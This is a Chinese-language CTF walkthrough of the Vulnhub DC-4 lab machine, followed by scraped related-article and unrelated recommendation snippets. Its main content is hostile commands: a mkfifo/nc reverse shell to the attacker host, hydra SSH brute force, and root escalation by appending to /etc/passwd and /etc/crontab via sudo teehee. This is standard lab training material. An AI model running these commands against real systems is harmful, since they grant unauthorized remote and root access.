前言

靶机下载地址:https://www.vulnhub.com/entry/dc-4,313/

KALI地址:192.168.75.108

靶机地址:192.168.75.207


一.信息发现

1.主机发现

使用命令如下

netdiscover -r 192.168.75.108

如下图,发现了我们靶机的地址。


2.主机扫描

这里使用nmap工具进行扫描,命令如下。

nmap -A -T4 -O -p 0-65535 192.168.75.207

扫描结果如下,发现开放了80,22号端口。


3.目录扫描

既然开放了80端口,那么我们就可以二话不说直接开始目录扫描,命令如下。

dirb http://192.168.75.207

扫描结果如下图,发现并没有什么可以利用的点。


4.网页信息收集

既然开放了,80端口,我们可以直接去访问,如下图,打开首页发现是一个登录框,我们可以尝试登录,随后又抽卡了源代码,网络信息,均没有发现可以利用的点。


二.漏洞利用

经过上面信息收集,发现了首页是可以登录的,并且没有验证码,试过了SQL注入,不行,尝试弱密码爆破。

爆破结果如下,发现密码可能是happy。

经过测试发现就是happy,如下图,并且成功登录进去。

1.命令执行

经过发现,发现可以执行命令,如下图,想法是是否可以尝试绕过,执行其他命令。

这里就可以使用bp进行抓包,然后进行绕过,如下图

下面是输出结果,如下图。

所以我们就有了思路,一个思路是,让靶机下载我们的webshell,然后我们连接,第二个思路是反弹shell。


2.反弹shell

简单的说一下第一种思路,经过测试,发现靶机没有wget的下载权限,就放弃了,直接来到第二个思路也就是反弹shell的思路。

这里在靶机使用的命令是rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.75.108 6666 > /tmp/f;,

然后在kali里面使用nc命令来进行监听,命令如下。

nc -lnvp 6666

如下图效果开始监听。

这里说一下历程,按照正常来说,像如下图一样发包就可以直接反弹成功了,但是发送了,就是没有反弹,看了大佬的博客才知道不能这样发包。

所以我们需要在前端修改代码,才能成功反弹,如下图查看源代码修改即可,然后点击run运行就可以直接成功反弹shell了。

如下图,KALI成功接收反弹。


三.提权

1.获取jim账户密码

先按照如下图操作,先查看自己是什么用户和ID,然后使用python更换终端。

然后我们可以查看/etc/passwd下面的用户,如下图,发现了,三个用户,一个是jim,一个是charles,一个是sam。

然后经过查找,发现在home目录下面发现了几个人的目录路径,如下图。

经过测试发现,在jim目录下面,发现了老密码的字样,我们直接打开看。

如下图,打开全是密码,这里的思路,这么多密码,肯定要试试暴力破解了,这里我们把密码复制进去文本

我们这里使用hydra工具来进行暴力破解ssh,使用命令如下。

hydra -l jim -P pass.txt -s 22 ssh://192.168.75.207 -vV

-l #对应的是一个用户,如果是大写的-L就是用户本
-P #对应的是一个密码本,如果是小p那么就是一个密码
-s #对应的是端口
-vV #显示破解过程

如下图破解成功,成功发现jim的密码。

账户:jim

密码:jibril04

但是经过测试发现jim这个账户啥也不能干啊。


2.获取Charles账户密码

经过一番查找在/var/mail下面发现了一封邮件,邮件内容如下图,发现是密码。

我们可以尝试登录一下查看,如下图,发现可以登录,然后我们查看是否有sudo权限,我们直接使用如下命令查看。

sudo -l

发现有teeche的命令执行权限,如下图。


3.执行提权操作

因为不熟悉teehee的提权方式,所以不怎么熟悉,就查了一下资料,这里有两种方法可以提权,第一种就是在/etc/passwd下面添加用户

第二种方法就是在linux的自动任务执行里面进行利用。


1.在/etc/passwd添加用户

首先需要执行一个命令perl -le 'print crypt("123456", "ken"),如下图。

然后就可以执行一个命令来进行添加用户,命令如下。

echo "takagisan:keNdbTFs2CPY6:0:0:::/bin/bash" | sudo teehee -a /etc/passwd

然后如下图,报错失败,查了一下资料之后,发现需要第一次登录root用户在退出来就可以了,所以我这里直接换其他的提权方式了。


2.创建定时任务给提权

看了一下大佬的博客,发现是这样的,创建一个定时人物然后给/bin/sh赋予SUID的权限,然后用teehee命令这个定时任务,写到/etc/crontab里面去。

命令如下。

echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab

crontab命令详解可以百度查资料。

这样之后我们就可以直接在控制台里面输入/bin/sh就可以了,如下图提权成功。

然后我们就可以去查看flag了,如下图,在root目录发现flag。


四.总结

需要注意查看var下面的mail邮件目录,然后提权需要注意teehee提权方式,还需要多注意查看各种敏感目录,和文件。

Vulnhub-DC-4靶机实战的更多相关文章

  1. DC-1靶机实战和分析

    前言 我们都知道,对靶机的渗透,可以宽阔自己的解题思路,练习并熟悉相关操作命令,提高自己的能力.下面我就对Vulnhub的DC-1靶机进行渗透,靶机设置了5个flag,咱们依次找到它.并通过图文形式讲 ...

  2. vulnstack靶机实战01

    前言 vulnstack是红日安全的一个实战环境,地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/最近在学习内网渗透方面的相关知识,通过对靶机的 ...

  3. 【Vulnhub】DC-2靶机

    Vulnhub DC-2 靶机 信息搜集 访问web端发现访问不了,可以观察到相应的URL为域名而不是IP,需要在hosts文件种添加一条DNS记录. host位置:C:\Windows\System ...

  4. vulnhub DC:1渗透笔记

    DC:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/ kali ip地址 信息收集 首先扫描一下靶机ip地址 nmap -sP 192.168 ...

  5. Vulnhub-Tomato靶机实战

    前言 靶机下载地址:https://www.vulnhub.com/entry/tomato-1,557/ KALI地址:192.168.94.108 靶机地址:192.168.94.30 一.信息收 ...

  6. 3. 文件上传靶机实战(附靶机跟writeup)

    upload-labs 一个帮你总结所有类型的上传漏洞的靶场 文件上传靶机下载地址:https://github.com/c0ny1/upload-labs   运行环境 操作系统:推荐windows ...

  7. vulnhub之GoldenEye-v1靶机

    靶机:virtualbox  自动获取 攻击:kali linux    自动获取 设置同一张网卡开启dhcp ifconfig攻击IP是那个网段(也可以netdiscpver,不过毕竟是自己玩懒得等 ...

  8. DVWA靶机实战-文件上传漏洞(二)

    继续打靶机:当前靶机的安全级别:medium 第一步 上传一句话木马,这次没有之前那么顺利了,文件显示上传失败,被过滤. 点开右下角view source查看源码: 只允许上传image/jpeg格式 ...

  9. hacknos靶机实战

    工具: kali 192.168.1.6 nmap 打开使用nmap -sP 192.168.1.0/24 扫描活跃的主机 发现目标ip 使用nmap 查看开启了什么服务Nmap -v -A -PN ...

随机推荐

  1. 杭电OJ 1248 不死族巫妖王 完全背包问题 字节跳动 研发岗编程原题

    转载至:https://blog.csdn.net/ssdut_209/article/details/51557776 Problem Description不死族的巫妖王发工资拉,死亡骑士拿到一张 ...

  2. vue钩子函数的妙用之“created()和activated()”

    一.created() 在创建vue对象时,当html渲染之前就触发: 但是注意,全局vue.js不强制刷新或者重启时只创建一次, 也就是说,created()只会触发一次: 二.activated( ...

  3. s函数

    Matlab 中S-函数模板翻译 10.0 基础知识 (1)Simulink仿真过程 Simulnk仿真分为两步:初始化.仿真循环.仿真是由求解器控制的,求解器主要作用是:计算模块输出.更新模块离散状 ...

  4. mobileSite开发Tips

    1,根节点(html,body)overflow属性会遮盖fixed定位元素 2,fixed元素点击时会弹出底部的菜单,应该是浏览器特性(safari) 3,fixed元素使用后,在body里面使用p ...

  5. html5知识点补充—mark元素的使用

    使用mark元素高亮文本 利用mark元素,文档作者可以高亮显示文档中的某些文本以达到醒目的效果. 如果用户在站点进行搜索,搜索页面中的关键字可以高亮显示.这时,就可以很好的利用到mark元素.不选用 ...

  6. 如何实现多个接口Implementing Multiple Interface

    4.实现多个接口Implementing Multiple Interface 接口的优势:马克-to-win:类可以实现多个接口.与之相反,类只能继承一个超类(抽象类或其他类). A class c ...

  7. 关于mysql使用utf8编码在cmd窗口无法添加中文数据的问题以及解决 方法二

    如果非要用cmd窗口的话,那么可以加这句话,set names gbk:

  8. C语言,最大公约数---更相减损术

    // 最大公约数 更相减损法 int commonDivisor() { int i,k,n=0; printf("请输入两个不同的正整数,用,隔开\n"); scanf(&quo ...

  9. Ncrystal Skill设计

    在使用allegro时一般都会听说过skill,使用合适的Skill会使事情事半功倍.但是现阶段所能看到的个人白嫖的Skill都有一些通病.所以我才开发符合自己操作习惯的Skill. 当前我们所能找的 ...

  10. MySQL---什么是事务

    什么是事务 一个数据库事务通常包含对数据库进行读或写的一个操作序列.它的存在包含有以下两个目的: 为数据库操作提供了一个从失败中恢复到正常状态的方法,同时提供了数据库即使在异常状态下仍能保持一致性的方 ...